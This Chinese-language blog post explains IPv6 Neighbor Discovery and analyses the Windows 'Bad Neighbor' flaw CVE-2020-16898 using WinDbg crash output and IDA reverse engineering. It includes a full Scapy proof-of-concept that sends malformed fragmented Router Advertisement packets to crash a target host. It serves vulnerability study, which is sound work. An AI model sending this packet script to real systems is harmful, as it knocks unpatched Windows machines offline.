一、該漏洞和router advertisement相關,先來學習一下相關協議;
IPV4時代,如果想探測其他主機是否存活,要么用ARP(一般是局域內網),要么用ICMP(一般是公網)。但是在IPV6時代改用了Neighbor Discovery Protocol(簡稱NDP),該協議定義了使用ICMPv6報文實現地址解析,跟蹤鄰居狀態,重復地址檢測,路由器發現以及重定向等功能。
1、先介紹個簡單的地址解析:IPV4時代,當需要和其他主機通信時,需要知道對方的MAC地址,否則交換機是沒法轉發幀的,這時就需要ARP協議,讓目標主機告知其MAC地址;IPV6時代,NDP實現了該功能;NDP在將IP地址解析為MAC地址時用了兩種報文:鄰居請求報文NS(Neighbor Solicitation)和鄰居通告報文NA(Neighbor Advertisement),作用分別類似於ARP請求和ARP應答,整個過程說明如下:

用wireshark抓包如下:
- NS包:Type:Neighbor Solicitation(135),源MAC是00:e0:fc:7a:28:89,源IP是2000::1

- NA包:Type:Neighbor Advertisment(136),目標MAC是00:e0:fc:dc:5e:81

其中有3個flags字段,含義如下:
- R:路由器標記。當置1時,R位指出發送者是路由器。R位由Neighbor Unreachability Detection使用,用於檢測改變為主機的路由器。
- S:請求標記。當置1時,S位指出通告被發送以響應來自目的地地址的Neighbor Solicitation。S位用作Neighbor Unreachability Detection的可達性確認。在多播通告和非請求單播通告中置0。
- O:替代標記。替代標志,1表示通告中的信息替代緩存,如更新鏈路層地址時,對於任播的回應則不應置位。在針對任播地址的請求通告中,以及在請求的前綴通告中它不能被置1。在其他請求通告中和在非請求通告中它應當被置1;
2、NDP協議除了地址解析,還能用於路由器發現。windows對通過該協議接受到的數據包(Router Advertisement包)處理不當,導致了遠程代碼執行漏洞,也就是本文的主題漏洞:CVE-2020-16898;
路由器發現:用來發現與本地鏈路相連的設備,並獲取與地址自動配置相關的前綴和其他配置參數;說直白一點,就是路由器通過發送廣播報文或發送給指定的路由器鄰居以主動把自己介紹給網段內的其他路由器,用以更新路由表,便於后續更高效、快速地轉發數據報;和地址解析類似,路由發現也有Router Advertisement和Router Solicitation兩種報文。
-
路由器請求RS(Router Solicitation)報文:很多情況下主機接入網絡后希望盡快獲取網絡前綴進行通信,此時主機可以立刻發送RS報文,網絡上的設備將回應RA報文。RS報文的Tpye字段值為133,如下:

-
路由器通告RA(Router Advertisement)報文:每台設備為了讓二層網絡上的主機和設備知道自己的存在,定時都會組播發送RA報文,RA報文中會帶有網絡前綴信息,及其他一些標志位信息。RA報文的Type字段值為134。

路由器發現功能如下圖所示:

3、整個NDP概括如下:

二、上個月爆出的CVE-2020-16898 "bad neighbor" 漏洞,就和NDP相關。遠程攻擊者通過構造特制的ICMPv6 Router Advertisement(路由通告)數據包 ,並將其發送到遠程Windows主機上,可造成遠程主機藍屏;
1、先來復現一波漏洞,有個直觀的感受。網上有各種配置教程,主要是打開靶機(一般用虛擬機)的ipv6,然后配置exp.py中的靶機和攻擊機ipv6地址,然后給靶機發送特殊的數據,造成靶機內存溢出,進而藍屏;整個exp.py代碼不多,如下:
from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:ac63:9284:85b2:d191" v6_src = "fe80::89f4:90a3:4bab:16bc%26" p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18" p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)
循環發送了13次:

wireshark抓包:可以看到發送了好多ICMPV6 Option的包,並且Recursive DNS server的值已經被改成我們自己設定好的A了;

由於靶機掛在了windbg,捕獲了異常,靶機並未藍屏,但已經卡死,無法做任何操作;從堆棧的數據看,大部分都被我們構造的a填滿,從TCPIP模塊的Ipv6pHandleRouterAdvertisement+0xe01偏移開始出現異常,進而觸發了securityCheck,下面就從這里開始按圖索驥,順藤摸瓜!


這里先保留一些有用的信息:
Arguments: Arg1: 0000000000000002, Stack cookie instrumentation code detected a stack-based buffer overrun. Arg2: fffff802abe3bfb0, Address of the trap frame for the exception that caused the bugcheck Arg3: fffff802abe3bf08, Address of the exception record for the exception that caused the bugcheck Arg4: 0000000000000000, Reserved
TRAP_FRAME: fffff802abe3bfb0 -- (.trap 0xfffff802abe3bfb0) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000000000005 rbx=0000000000000000 rcx=0000000000000002 rdx=00000000000001ff rsi=0000000000000000 rdi=0000000000000000 rip=fffff8097dd97b45 rsp=fffff802abe3c148 rbp=fffff802abe3c250 r8=fffff802abe3c268 r9=0000000000000110 r10=0000000000001001 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc tcpip!_report_gsfailure+0x5: fffff809`7dd97b45 cd29 int 29h Resetting default scope EXCEPTION_RECORD: fffff802abe3bf08 -- (.exr 0xfffff802abe3bf08) ExceptionAddress: fffff8097dd97b45 (tcpip!_report_gsfailure+0x0000000000000005) ExceptionCode: c0000409 (Security check failure or stack buffer overrun) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 0000000000000002 Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE
2、通過IDA打開tcpip.sys,找到異常后最后一個函數Ipv6pHandleRouterAdvertisement,並且根據偏移0xe01定位到出問題的代碼(也就是0x1C0029221這里):確實是在security_check這里。結合上面爆出的gsfailure,應該是調用_security_check_cookie時導致了gsfailure;

Ipv6pHandleRouterAdvertisement里面調用了很多其他函數,究竟是哪個函數導致了gsfailure了?我們人為構造的數據報在內核解析后,其中有個字段叫type:recursive dns server(25)【上面的wireshark抓包有】,這個字段的值是25,16進制就是0x19,剛好在Ipv6pHandleRouterAdvertisement的while(1)循環中有case 0x19這個選項,里面調用了一個叫做Ipv6pUpdateRDNSS的函數,從名字看是更新RDNS的,剛好ICMPV6 option發送的就是recursive dns server的地址,所以大膽猜測:在case 0x19這個分支,接受type是recursive dns server的option包,然后解析、更新RDNS的值,接下來我們進一步分析這個函數;

進入Ipv6pUpdateRDNSS函數后,有一行關鍵代碼標紅如下:這一行計算IPV6地址數量。這里的V9來自我們發送的IPV6 Option包的length字段。從上面wireshar抓包的情況看,該字段是8,那么得到的IPV6地址數量就是(8-1)/2=3;

因此會按照3*0x18(一個ipv6地址加上Type/Length/ Reserved/Lifetime)= 0x48的偏移進行解析下一個Option,這0x48字節剛好是第一個option的長度。也就是說,Ipv6pHandleRouterAdvertisement的函數會直接從下面第三個紅框處解析下一個option:很明顯,這里的RDNS是錯的,並且還很多,直接還長達168byte。並且還有11個同樣的option,足以覆蓋棧的stack cookie(看上面windbg的kv棧回溯);

總結: 這類漏洞的原理很簡單:接受外部的字符串后未作長度或內容檢查,導致分配的內存不夠存儲接受的數據,進而讓接受的數據超過分配的緩存長度,覆蓋了內核其他代碼和數據,導致藍屏;更狠一點的可以導致RCE
參考:
1、https://www.4hou.com/posts/jLlY CVE-2020-16898 "Bad Neighbor " Windows TCP/IP遠程代碼執行漏洞分析
2、https://cert.360.cn/report/detail?id=771d8ddc2d703071d5761b6a2b139793 CVE-2020-16898: Windows TCP/IP遠程執行代碼漏洞分析
3、https://cshihong.github.io/2018/01/29/IPv6%E9%82%BB%E5%B1%85%E5%8F%91%E7%8E%B0%E5%8D%8F%E8%AE%AE/ IPv6鄰居發現協議
4、https://tools.ietf.org/html/rfc8106 IPv6 Router Advertisement Options for DNS Configuration
5、https://github.com/komomon/CVE-2020-16898-EXP-POC 漏洞利用POC
6、https://www.dazhuanlan.com/2019/11/18/5dd20c8870856/ Stack Cookie運行原理
